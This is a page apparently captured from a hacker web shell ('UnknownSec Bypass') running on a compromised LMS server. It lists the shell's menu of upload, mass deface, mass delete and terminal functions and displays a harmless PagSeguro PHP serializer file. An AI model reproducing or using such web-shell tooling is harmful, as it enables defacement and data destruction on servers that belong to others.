UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_ffede7b3ced1
/
vendor
/
phpsc
/
pagseguro
/
src
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
SerializerTrait.php
<?php namespace PHPSC\PagSeguro; use JMS\Serializer\Annotation as Serializer; use JMS\Serializer\Naming\IdenticalPropertyNamingStrategy; use JMS\Serializer\Naming\SerializedNameAnnotationStrategy; use JMS\Serializer\SerializerBuilder; use SimpleXMLElement; /** * @author VinÃcius Fagundes <mvlacerda@gmail.com> */ trait SerializerTrait { /** * @Serializer\Exclude * * @var \JMS\Serializer\Serializer */ private $serializer; /** * @return \JMS\Serializer\Serializer */ public function getSerializer() { if ($this->serializer === null) { $this->serializer = SerializerBuilder::create() ->setPropertyNamingStrategy(new SerializedNameAnnotationStrategy(new IdenticalPropertyNamingStrategy())) ->build(); } return $this->serializer; } /** * @param SimpleXMLElement|null $xmlRoot * * @return SimpleXMLElement */ public function xmlSerialize(SimpleXMLElement $xmlRoot = null) { $xmlString = $this->getSerializer()->serialize($this, 'xml'); $xmlObject = new SimpleXMLElement($xmlString); if ($xmlRoot === null) { return $xmlObject; } $domRoot = dom_import_simplexml($xmlRoot); $domObject = dom_import_simplexml($xmlObject); $domRoot->appendChild($domRoot->ownerDocument->importNode($domObject, true)); return $xmlRoot; } protected final function formatAmount($amount) { if ($amount === null) { return null; } return number_format($amount, 2, '.', ''); } }
Copyright © 2026 - UnknownSec